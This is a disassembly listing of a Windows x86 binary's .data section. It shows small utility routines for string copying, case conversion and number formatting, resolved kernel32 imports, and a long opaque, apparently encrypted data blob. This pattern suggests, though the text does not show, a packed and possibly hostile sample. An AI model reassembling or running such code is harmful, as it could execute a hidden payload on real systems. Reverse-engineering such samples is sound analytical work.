; ---------------------------------------------------------------------------


loc_418527:				; CODE XREF: .data:00418517j
					; .data:0041851Dj
		mov	eax, [ebp+8]


loc_41852A:				; CODE XREF: .data:00418525j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 61h
		jl	short loc_418543
		cmp	dword ptr [ebp+8], 7Ah
		jg	short loc_418543
		mov	eax, [ebp+8]
		sub	eax, 20h
		jmp	short loc_418546
; ---------------------------------------------------------------------------


loc_418543:				; CODE XREF: .data:00418533j
					; .data:00418539j
		mov	eax, [ebp+8]


loc_418546:				; CODE XREF: .data:00418541j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		dd 2 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		dw 0CCCCh
		dd 0CCCCCCCCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418560	proc near		; CODE XREF: .data:0041858Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		push	0
		call	dword_3E3018
		push	eax
		call	dword_3E3014
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		pop	eax
		leave
		retn
sub_418560	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	dword ptr [ebp+8]
		pop	eax
		imul	eax, [ebp+0Ch]
		push	eax
		call	sub_418560
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
aUtG_2		db 'UT]ƒ}',8,0
		dw 0B75h
		dd 0E80C75FFh, 0FFFFFFBCh, 0FF15EB59h, 75FF0C75h, 0FF006A08h
		dd 3E301815h, 15FF5000h, 3E301Ch
		db 5Dh,	0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_4185C9
		jmp	short loc_4185DB
; ---------------------------------------------------------------------------


loc_4185C9:				; CODE XREF: .data:004185C5j
		push	dword ptr [ebp+8]
		push	0
		call	dword_3E3018
		push	eax
		call	dword_3E3020


loc_4185DB:				; CODE XREF: .data:004185C7j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 55h,	54h, 5Dh
		dd 0E80875FFh, 0FFFFFF78h, 55C35D59h, 75FF5D54h, 0FFC8E808h
		dd 5D59FFFFh, 0CCCCCCC3h, 0CCCCCCCCh, 5D5D5455h, 5D5455C3h
		dd 8458A51h, 0C6FC4588h, 0C900FD45h
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0Ah
		lea	eax, [ebp-20h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4188F7
		add	esp, 0Ch
		leave
		retn
; ---------------------------------------------------------------------------
		db 55h
		dd 0EC835D54h, 8D0A6A20h, 0FF50E045h, 0C9E80875h, 83000001h
		dd 0C3C90CC4h, 0CCCCCCCCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	dword ptr [ebp+8]
		pop	eax
		mov	[ebp-4], eax


loc_41865B:				; CODE XREF: .data:00418695j
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_418697
		mov	eax, [ebp+8]
		mov	ecx, [ebp+0Ch]
		mov	cl, [ecx]
		mov	[eax], cl
		push	dword ptr [ebp+8]
		pop	eax
		movsx	eax, byte ptr [eax]
		push	eax
		push	dword ptr [ebp+8]
		pop	eax
		mov	ecx, eax
		pop	eax
		inc	ecx
		mov	[ebp+8], ecx
		push	eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	ecx, eax
		pop	eax
		inc	ecx
		mov	[ebp+0Ch], ecx
		test	eax, eax
		jz	short loc_418697
		mov	eax, [ebp+10h]
		dec	eax
		mov	[ebp+10h], eax
		jmp	short loc_41865B
; ---------------------------------------------------------------------------


loc_418697:				; CODE XREF: .data:0041865Fj
					; .data:0041868Cj
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_4186B5


loc_41869D:				; CODE XREF: .data:004186B3j
		mov	eax, [ebp+10h]
		dec	eax
		mov	[ebp+10h], eax
		jz	short loc_4186B5
		mov	eax, [ebp+8]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+8]
		inc	eax
		mov	[ebp+8], eax
		jmp	short loc_41869D
; ---------------------------------------------------------------------------


loc_4186B5:				; CODE XREF: .data:0041869Bj
					; .data:004186A4j
		mov	eax, [ebp-4]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186BA	proc near		; CODE XREF: .data:00417FE1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		pop	eax
		mov	[ebp+var_4], eax


loc_4186C5:				; CODE XREF: sub_4186BA+39j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		dec	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	short loc_4186F5
		push	[ebp+arg_0]
		pop	eax
		push	eax
		push	[ebp+arg_4]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	cl, [ecx]
		mov	[eax], cl
		push	[ebp+arg_0]
		pop	eax
		inc	eax
		mov	[ebp+arg_0], eax
		push	[ebp+arg_4]
		pop	eax
		inc	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_4186C5
; ---------------------------------------------------------------------------


loc_4186F5:				; CODE XREF: sub_4186BA+17j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4186BA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		mov	[ebp-4], eax


loc_418704:				; CODE XREF: .data:00418723j
		mov	eax, [ebp+10h]
		push	dword ptr [ebp+10h]
		pop	ecx
		dec	ecx
		mov	[ebp+10h], ecx
		test	eax, eax
		jz	short loc_418725
		push	dword ptr [ebp+8]
		pop	eax
		mov	cl, [ebp+0Ch]
		mov	[eax], cl
		mov	eax, [ebp+8]
		inc	eax
		mov	[ebp+8], eax
		jmp	short loc_418704
; ---------------------------------------------------------------------------


loc_418725:				; CODE XREF: .data:00418711j
		mov	eax, [ebp-4]
		leave
		retn
; ---------------------------------------------------------------------------
		dw 5455h
		dd 6583515Dh, 75FF00FCh, 0B60F5808h, 0C4D8B00h,	2B09B60Fh
		dd 0FC4589C1h, 458B1A75h, 0BE0F0Ch, 1074C085h, 4008458Bh
		dd 8B084589h, 89400C45h, 0D2EB0C45h, 0FC7D83h, 4D83067Dh
		dd 11EBFFFCh, 0FC7D83h,	45C70B7Eh, 0FCh, 0FC458300h, 0FC75FF01h
		dd 55C3C958h, 8B515D54h, 45890845h, 0FC75FFFCh,	0BE0F58h
		dd 59FC75FFh, 0FC4D8941h, 274C085h, 75FFEBEBh, 452B58FCh
		dd 0C3C94808h, 835D5455h, 458B10ECh, 0B60F08h, 0FFF44589h
		dd 4DE8F475h, 59FFFFFDh, 8BFC4589h, 89400845h, 75FF0845h
		dd 0B60F580Ch, 0F0458900h, 0E8F075FFh, 0FFFFFD30h, 0F8458959h
		dd 580C75FFh, 0C458940h, 0FC7D83h, 75FF0974h, 453B58FCh
		dd 0FFB774F8h, 2B58FC75h, 0C3C9F845h, 3	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41882C
		add	esp, 10h
		push	dword ptr [ebp+0Ch]
		pop	eax
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41882C	proc near		; CODE XREF: .data:0041881Ep
					; sub_4188F7+1Ap ...

var_10		= dword	ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_C], 0
		jz	short loc_418859
		push	[ebp+var_4]
		pop	eax
		mov	byte ptr [eax],	27h
		add	byte ptr [eax],	6
		push	[ebp+var_4]
		pop	eax
		inc	eax
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		pop	eax
		neg	eax
		mov	[ebp+arg_0], eax


loc_418859:				; CODE XREF: sub_41882C+10j
		push	[ebp+var_4]
		pop	eax
		mov	[ebp+var_10], eax


loc_418860:				; CODE XREF: sub_41882C+82j
		push	[ebp+arg_0]
		pop	eax
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+var_8], edx
		push	[ebp+arg_0]
		pop	eax
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_8], 9
		jbe	short loc_418897
		mov	eax, [ebp+var_8]
		add	eax, 57h
		push	eax
		push	[ebp+var_4]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_4188AA
; ---------------------------------------------------------------------------


loc_418897:				; CODE XREF: sub_41882C+50j
		push	[ebp+var_8]
		pop	eax
		add	eax, 30h
		mov	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4188AA:				; CODE XREF: sub_41882C+69j
		cmp	[ebp+arg_0], 0
		ja	short loc_418860
		push	[ebp+var_4]
		pop	eax
		mov	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax


loc_4188BE:				; CODE XREF: sub_41882C+C7j
		push	[ebp+var_4]
		pop	eax
		mov	al, [eax]
		mov	[ebp+var_9], al
		push	[ebp+var_4]
		pop	eax
		push	[ebp+var_10]
		pop	ecx
		mov	cl, [ecx]
		mov	[eax], cl
		push	[ebp+var_10]
		pop	eax
		mov	cl, [ebp+var_9]
		mov	[eax], cl
		push	[ebp+var_4]
		pop	eax
		dec	eax
		mov	[ebp+var_4], eax
		push	[ebp+var_10]
		pop	eax
		inc	eax
		mov	[ebp+var_10], eax
		push	[ebp+var_10]
		pop	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_4188BE
		leave
		retn
sub_41882C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4188F7	proc near		; CODE XREF: .data:00418629p
		push	ebp
		push	esp
		pop	ebp
		cmp	dword ptr [ebp+10h], 0Ah
		jnz	short loc_41891B
		cmp	dword ptr [ebp+8], 0
		jge	short loc_41891B
		push	1
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41882C
		add	esp, 10h
		jmp	short loc_41892E
; ---------------------------------------------------------------------------


loc_41891B:				; CODE XREF: sub_4188F7+7j
					; sub_4188F7+Dj
		push	0
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41882C
		add	esp, 10h


loc_41892E:				; CODE XREF: sub_4188F7+22j
		mov	eax, [ebp+0Ch]
		pop	ebp
		retn
sub_4188F7	endp

; ---------------------------------------------------------------------------
		align 4
		dd 5Bh dup(0)
		dd 30D0h, 30E2h, 30F2h,	3106h, 3116h, 3126h, 3132h, 3144h
		dd 3152h, 3 dup(0)
aKernel32_dll_9	db 'kernel32.dll',0
		align 10h
aGetmodulefil_3	db 'GetModuleFileNameA',0
		align 4
aGetmodulefil_4	db 'GetModuleFileNameW',0
		align 10h
aKernel32_dl_10	db 'kernel32.dll',0
		align 10h
aI0_1		db '¨0',0
		align 4
		dd 2 dup(0)
		dd 315Eh, 3000h, 5 dup(0)
		dd 30D0h, 30E2h, 30F2h,	3106h, 3116h, 3126h, 3132h, 3144h
		dd 3152h, 0
		dd 654701A0h, 6F725074h, 64644163h, 73736572h, 2520000h
		dd 64616F4Ch, 7262694Ch, 41797261h, 17F0000h, 4D746547h
		dd 6C75646Fh, 6E614865h, 41656C64h, 1C80000h, 53746547h
		dd 65747379h, 6D69546Dh, 1DF0065h, 54746547h, 436B6369h
		dd 746E756Fh, 2100000h,	70616548h, 6F6C6C41h, 1A30063h
		dd 50746547h, 65636F72h, 65487373h, 7061h, 6548021Ah, 65527061h
		dd 6F6C6C41h, 2160063h,	70616548h, 65657246h, 454B0000h
		dd 4C454E52h, 642E3233h, 6C6Ch,	25h dup(0)
		dd 19E8EC45h, 0F5E839F8h, 0E142CAEh, 95D9C1DCh,	0A61796E1h
		dd 2DA4BE1Dh, 0C4970908h, 113E410Fh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0FE2FF0D2h
		dd 11BEB6C3h, 5BF74E57h, 2ECF1CE2h, 0FA3F4293h,	0E670974h
		dd 0ACB2A9A7h, 242B9C85h, 835C3D79h, 0E4B72E13h, 850520A0h
		dd 87FD41Bh, 552F2683h,	90D3A811h, 17E60025h, 7B434EECh
		dd 290939F1h, 2C2EE254h, 66E5FBFDh, 1D705DFAh, 4EAF3824h
		dd 16474E13h, 646F8472h, 13830684h, 84E4F3C5h, 8CE2E682h
		dd 0F373D37h, 2F79FD1Ah, 0B15A883Eh, 944639Eh, 0EA1EFFBAh
		dd 0E013EC5Ch, 916D4296h, 100FFF0Ch, 0DAD29296h, 9D7271EEh
		dd 0B1B808A1h, 0D25BB546h, 5EC1D704h, 4BA6CF03h, 0C1586BDEh
		dd 0D9AA447Bh, 0D7057198h, 450772F1h, 0F1936Eh,	0FE0F683Fh
		dd 4CD9F013h, 5A80E40h,	8025E291h, 759D1F1Dh, 322730A2h
		dd 0C7ED2FC0h, 0F8AF7591h, 59C1768h, 0F8AF7591h, 59C1768h
		dd 2828DF75h, 9FADBF9Bh, 5B4A327Eh, 0BA307617h,	0B8BA1055h
		dd 0BCDBABA0h, 0B8BA1055h, 0BCDBABA0h, 0CD7DBA1Ch, 8D8A7D69h
		dd 0DAD29296h, 9D7271EEh, 345679BAh, 0E6F4023Dh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0C08E8E97h
		dd 0AA99235Ch, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0E1B2375Bh, 35E1F4A2h, 0C07238F3h
		dd 0CF13E576h, 37E6A19Ah, 0BDA4F165h, 0DAD29296h, 9D7271EEh
		dd 11B7D888h, 0B95943E0h, 0BF797EC1h, 3EEE3649h, 0A16C8997h
		dd 0A538B121h, 0B393FFA5h, 0EC46445Fh, 0DAD29296h, 9D7271EEh
		dd 0EB44854Fh, 6E303F4Bh, 2D59AB02h, 64E06AC7h,	249E63CBh
		dd 0CAD5D139h, 18A76DDBh, 35FBF5D4h, 0DAD29296h, 9D7271EEh
		dd 0FD1C9112h, 7CA2041h, 0DAD29296h, 9D7271EEh,	0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 8AED8AA0h, 7A41C62Fh, 0E82E5ADDh,	0DDA302F9h
		dd 3BF34B59h, 558BC9D0h, 0AF02EBE8h, 6557D382h,	0D1F0F1CEh
		dd 0E631E5BEh, 48CB8ABCh, 0D3429667h, 2B676190h, 0A87D4507h
		dd 833FF5E5h, 0B0237E39h, 0C8816AF1h, 0BEA46959h, 304E14D2h
		dd 78EDBB75h, 4015B85Fh, 0AF1D43B0h, 6E90CB42h,	3E65688Eh
		dd 0AB0AE369h, 978E3BD9h, 448240BCh, 0D1AED775h, 4300527Bh
		dd 0E52D89D5h, 0E60C39C4h, 7466E106h, 1A2C64Ah,	28AFBB23h
		dd 0DEC0B0DEh, 48655298h, 1DC675C3h, 7674C4C5h,	0A4818068h
		dd 51051F16h, 0B4B828D7h, 0F6FF8388h, 7302A401h, 12EB5A97h
		dd 6D13B0E3h, 0BDF482Dh, 370AFC9Ch, 0A9FC6981h,	0B22CC854h
		dd 0E81B88ACh, 920223B2h, 0D79934C9h, 6EDB1F4Ah, 99DCEE65h
		dd 766CCCBEh, 0D01187CCh, 3A36C2CFh, 0C6855734h, 7E6BC378h
		dd 9926483h, 0FE381DCEh, 0E9915D89h, 241E62AFh,	0AE695EA4h
		dd 0D4C89E68h, 1D6A313Bh, 6EB8C3D3h, 4D5CCEA7h,	1FB5525Bh
		dd 77577670h, 8F800177h, 0C7E49587h, 0BAF1CAFAh, 0E4B9000Dh
		dd 0E1B95FB5h, 0B73394CFh, 8770CE08h, 4378A31Fh, 24000A78h
		dd 29C4A3D8h, 0DEB215CEh, 14E7CC53h, 4297CD38h,	0D2AF8200h
		dd 68C28D77h, 6816D00Eh, 0D05B0AB7h, 11C4C744h,	19508991h
		dd 722503D6h, 0DAB8EB12h, 0A3E2C889h, 0F8F51C51h, 918901D8h
		dd 9F37DA9Bh, 39F948D3h, 219D688Ah, 87704FDAh, 818CE830h
		dd 54ADF668h, 55281C7Ah, 3C66AF04h, 6C9394D3h, 58955D29h
		dd 48706B04h, 0DAA4E283h, 3C7E1FECh, 0C977DDB6h, 7E36D21h
		dd 0DDE4590Bh, 89FF7D0h, 57A1959Fh, 92E2F9F2h, 57D72EB6h
		dd 84C73C9Fh, 5A720278h, 6C27A21Dh, 5734E274h, 8DA5CC7Ch
		dd 0CAC96F7Bh, 519C0812h, 0EE15F23h, 5BE5E476h,	6E0F64E0h
		dd 453F9EB3h, 594EF213h, 0CF5BA170h, 0CF2CA859h, 0F4129829h
		dd 6BD3F015h, 0E71FAA41h, 778C43CAh, 765A9997h,	881408F3h
		dd 40A71C22h, 26DCFD6Ah, 32BAC76Fh, 0C8E8A9C8h,	7D35B0CFh
		dd 51D8010Eh, 79752E4Fh, 3ECEB494h, 0CD5A6DBBh,	0CC4FA324h
		dd 0D7228046h, 0E51B6C98h, 8DE9BE6Ah, 0FAAF8DA3h, 0EFB1D0ABh
		dd 0E0184264h, 915E6D7Fh, 0BA9765AEh, 7D3BB654h, 0C09665Ch
		dd 0F3897D13h, 0CFDB0EFCh, 3B3A604h, 8143C9C6h,	0F72A28E9h
		dd 0CBC62EA0h, 0A5F2D908h, 0B5BC322Dh, 5F4BD9FCh, 35E23951h
		dd 85A109h, 0D94EC4F5h,	0EFB1D0ABh, 0E0184264h,	221CBC8Eh
		dd 3C7B382Dh, 92402329h, 83048B1Dh, 152D787h, 3E3B0C95h
		dd 0D6E953D9h, 0E54B23D0h, 3A36C2CFh, 0C6855734h, 640CAFE5h
		dd 0AE8010D9h, 6C96D33Eh, 0F1E82889h, 0E0E4D46Ah, 8262C983h
		dd 360F9F70h, 0D73B5444h, 9D4564E6h, 263EDF16h,	0F58F38E2h
		dd 0D00F1E54h, 6C30097Fh, 0D4746228h, 732837EEh, 0B1F2ABBAh
		dd 68B4B6B6h, 4162853Dh, 23850F3Fh, 648381AFh, 43C08389h
		dd 6414549h, 5D1BA5ACh,	3997362Ch, 891FE46h, 9798D7D8h
		dd 72D4E3Dh, 1C4E1240h,	0ACE9DF4Ch, 5DC19FBEh, 31EB51F1h
		dd 939BCDB0h, 0D1C5407Bh, 8F9F3074h, 7F47F20Eh,	2F74F1FBh
		dd 7CF78CE2h, 16A972F2h, 0C7D7DB93h, 0B7ECE5F6h, 976EC4EBh
		dd 9F31DB17h, 7DDD588Dh, 0A1905E2Dh, 0B2369409h, 0AFC3D5B7h
		dd 61C822D7h, 0F7B856E9h, 0FFE61E1Fh, 7BE8BA12h, 0FE89F35Fh
		dd 4E1491FFh, 9E472BDEh, 0FFDE1017h, 0D7D72DF3h, 9F9EAC9Dh
		dd 8C22433Ch, 7FB319CEh, 7C2AE71Bh, 2BBD905Fh, 34FA3067h
		dd 95AA0CB4h, 0A8B27F48h, 14B99D9Dh, 30F9B1ECh,	0F3BC4B5Eh
		dd 70FD9F64h, 5A19A72Bh, 949742D2h, 0C387B35Eh,	0DE920352h
		dd 65F16F0Eh, 768DC030h, 0FE991D73h, 709FA0A0h,	0CB71A7BAh
		dd 4D6AF9h, 605F1842h
		dd 5C262E22h, 0D773AF5Ch, 1FB776FDh, 34E26346h,	5B4A7648h
		dd 25638936h, 3F0592CBh, 0C91DC3A3h, 38FF8E3Fh,	626D0DF4h
		dd 4EE1788Ch, 3DF2934Ah, 0D1FE46F0h, 1F34E882h,	0C512A0EAh
		dd 6C97E787h, 7314224Fh, 0EA0C826h, 0D44B435Eh,	2B6F531Eh
		dd 0B47058ECh, 8AD39601h, 0B10B3244h, 61E5CB21h, 25359DC6h
		dd 0E12CFF66h, 188F37ECh, 0C562D0D3h, 0D39B0325h, 5AE13D32h
		dd 0FD4D143Fh, 3E61F971h, 0D92B39CCh, 703151CCh, 0BEFA2446h
		dd 0FD7E38CAh, 341D83EEh, 663F0DB7h, 92B3C909h,	8CE971CEh
		dd 9E4B0467h, 97D92CD4h, 0E9407C34h, 197DFB27h,	67137260h
		dd 28FCC23Ah, 8528E3E0h, 1261929Bh, 0A4415EBDh,	0D8626231h
		dd 782AC3Ah, 3498CCE9h,	90F2CE0Ah, 905DEFEAh, 1CACDD23h
		dd 0CC168F95h, 4C96A07Bh, 397339FAh, 0FC864AE1h, 0C91A896Ah
		dd 7B0B49A2h, 10A9E1B8h, 0B2DBBFEDh, 0E27DD0C2h, 437450ACh
		dd 0D81EAC68h, 8C4600ACh, 0A3CB410Ch, 0D8555952h, 696C25C1h
		dd 0E787E895h, 3B5EC725h, 7F4955EAh, 74A24E33h,	0CC38EC96h
		dd 96D32E0Ah, 0B1A673B4h, 2EEC1793h, 0B41140E0h, 5CDA2D1Ah
		dd 4C6E2C63h, 0A18B39DFh, 30AB515Eh, 77C301Ch, 2EB3247Ah
		dd 887F54F5h, 62A5A614h, 0D33DB32Fh, 0A3803408h, 0B0386F5Ah
		dd 2CEBC31Ch, 40AE6291h, 64AC4E3Fh, 0CC6CFD89h,	3030E348h
		dd 4C146D12h, 428F5715h, 412AC741h, 738F1070h, 63CD1947h
		dd 342820DCh, 0E0DC99ABh, 33B7567h, 0AC7B6308h,	52282220h
		dd 0ED141E27h, 5683F984h, 93E3651Ch, 7226F97Fh,	6CD75235h
		dd 764BBF8Ch, 40E41E9h,	0DADFC16Eh, 0C04A021Ch,	60583659h
		dd 6925E5FFh, 1CCA9DECh, 87A9DC1Ch, 82F9B081h, 4A18297Fh
		dd 2FBB56FDh, 0FA4C4F30h, 0C1B550h, 2E10A3E2h, 97963F20h
		dd 2156F406h, 2DF1CB5h,	489CBD92h, 70DD3B99h, 30965399h
		dd 1E377E97h, 0F178A6B6h, 1B8785E6h, 4C73D2D8h,	0D54C5C28h
		dd 18A9796Dh, 5C1E688Eh, 34FC8C8Eh, 0C3E5900Fh,	0B29E9C2Dh
		dd 40897E5Ah, 3C61F744h, 0D26A21DDh, 84C58D2Dh,	0E5364C80h
		dd 0FB59048h, 0EDF62E49h, 68499988h, 629D02Eh, 31E5CDE7h
		dd 0EA4F2B83h, 909910F5h, 51FDB10Bh, 0ED033BC0h, 7535D330h
		dd 3B05A13Bh, 0B2722BECh, 0E1402310h, 0A193BF35h, 2C5636B6h
		dd 39BD55DAh, 88256E66h, 5846C88Fh, 0DF78C405h,	0F9E34149h
		dd 56361388h, 0A86771C7h, 1F50580Ah, 9FBC6F75h,	0D749AB94h
		dd 3A527095h, 5424A8EFh, 309F315Eh, 67683829h, 6574D8F7h
		dd 20B0C604h, 1257D658h, 0A7565570h, 2EB2DDB3h,	0B5671696h
		dd 8E6F3E8Fh, 95168C32h, 0CC7B36FEh, 539D8726h,	4AB9F4C2h
		dd 86FC07Bh, 375B44F4h,	0AAC79FFEh, 4A7B789Ch, 0EF676183h
		dd 62AE6A3Fh, 6EC9481Eh, 7C894DC2h, 0C8B60E1Ah,	0DFF4361Dh
		dd 42641798h, 83FAD739h, 0FD6CFB4Bh, 0FBDE7289h, 4E6F287h
		dd 164A46CAh, 193AB4A7h, 4B083544h, 0AE9A3FBCh,	0C3D64116h
		dd 9C4464Ah, 42685B3Ah,	809AFE0Ah, 0CD94A142h, 0C8FDAC57h
		dd 4F3368EAh, 0E0DCF7Ah, 1516FE6Ch, 0D7BB582Bh,	329661F3h
		dd 61378979h, 684135A3h, 292C5948h, 0F1FEE76Fh,	0ED62FF22h
		dd 740DDA8Dh, 0C0D482C1h, 0B31A696Eh, 5CE7CC79h, 6DC43EB5h
		dd 9F963FBFh, 5D48A309h, 44DCC3BBh, 0B7F2B9E4h,	6055B991h
		dd 7F3B2Fh, 0FE87DC9Ah,	8A112AA2h, 2A3723D9h, 27F594BBh
		dd 5BB82555h, 0CB459590h, 0DC2C8491h, 2033937Dh, 7192DC06h
		dd 0BDB4D93Bh, 350D8A53h, 0FF36B0Bh, 2EE320D6h,	9CE88093h
		dd 528B14C9h, 6D4001BFh, 0FA48D348h, 0A0836268h, 163F88A2h
		dd 0DF6B7C03h, 9B5E87CCh, 4FBFA73Eh, 0E6FE2473h, 0BDC2A8ABh
		dd 26F75A0Dh, 0E8CA7972h, 38A4538Ah, 63B6F665h,	7E1FA1C1h
		dd 0DF133A5h, 36BCE97Eh, 0B3C298B9h, 0E7A9D9Fh,	0C4C702C0h
		dd 0CFFF309Fh, 0A278C531h, 55C032F0h, 8455A00Eh, 2D66014h
		dd 1A0752B4h, 54C470B9h, 696D2C6Eh, 0D0CEEA53h,	5E4BFB5Ch
		dd 0BA388AFAh, 967AAEFFh, 95033CCCh, 0C4A95857h, 4B5056E5h
		dd 6DA534CBh, 0F60DA063h, 880A3A0h, 727A4769h, 272F7FE3h
		dd 1AA416E9h, 0BDCA7798h, 2E10AE72h, 46448629h,	0FED7E8A8h
		dd 4963DDBBh, 1764163Bh, 0CD900A2h, 0D4C88444h,	0CBB766B5h
		dd 0FBE11CEh, 5FF82E63h, 8C7041h, 36B1E771h, 0D113BF26h
		dd 8A913FE9h, 0B9534F70h, 0E914B319h, 399AF212h, 0B8DEC8A5h
		dd 5F06D7F2h, 60630B5Fh, 0DA561959h, 67C5A0AFh,	890B4948h
		dd 3AA68A99h, 15BB50F2h, 711D41A1h, 40CA6A70h, 0EBD3AB41h
		dd 1133E59Bh, 62A25F42h, 33A7C98Eh, 0BB0E99E3h,	0D6005B5h
		dd 0C7EFE5EDh, 22FF52D0h, 5F1B111Fh, 0E28A1E28h, 6810EB78h
		dd 0DD21DD1Ch, 0EEDB84FFh, 0FDE586A1h, 37E92119h, 205FD269h
		dd 99ECDF91h, 816EC51Dh, 85FB0ED2h, 0B4B8B1ADh,	0EBE91717h
		dd 0D0E0EFC5h, 9EE60BFEh, 96F2889Ch, 67B6F764h,	0CDABD618h
		dd 346290C1h, 4B47967Dh, 0CC90A96Ah, 2B48B6DAh,	20F5CF90h
		dd 515E9BC3h, 0A33842CFh, 5CB28B51h, 0A5FBB8A4h, 0EC0CF0ABh
		dd 5FE67B3Bh, 0EA03287Bh, 0AC1D795h, 854ACA36h,	853EDBD7h
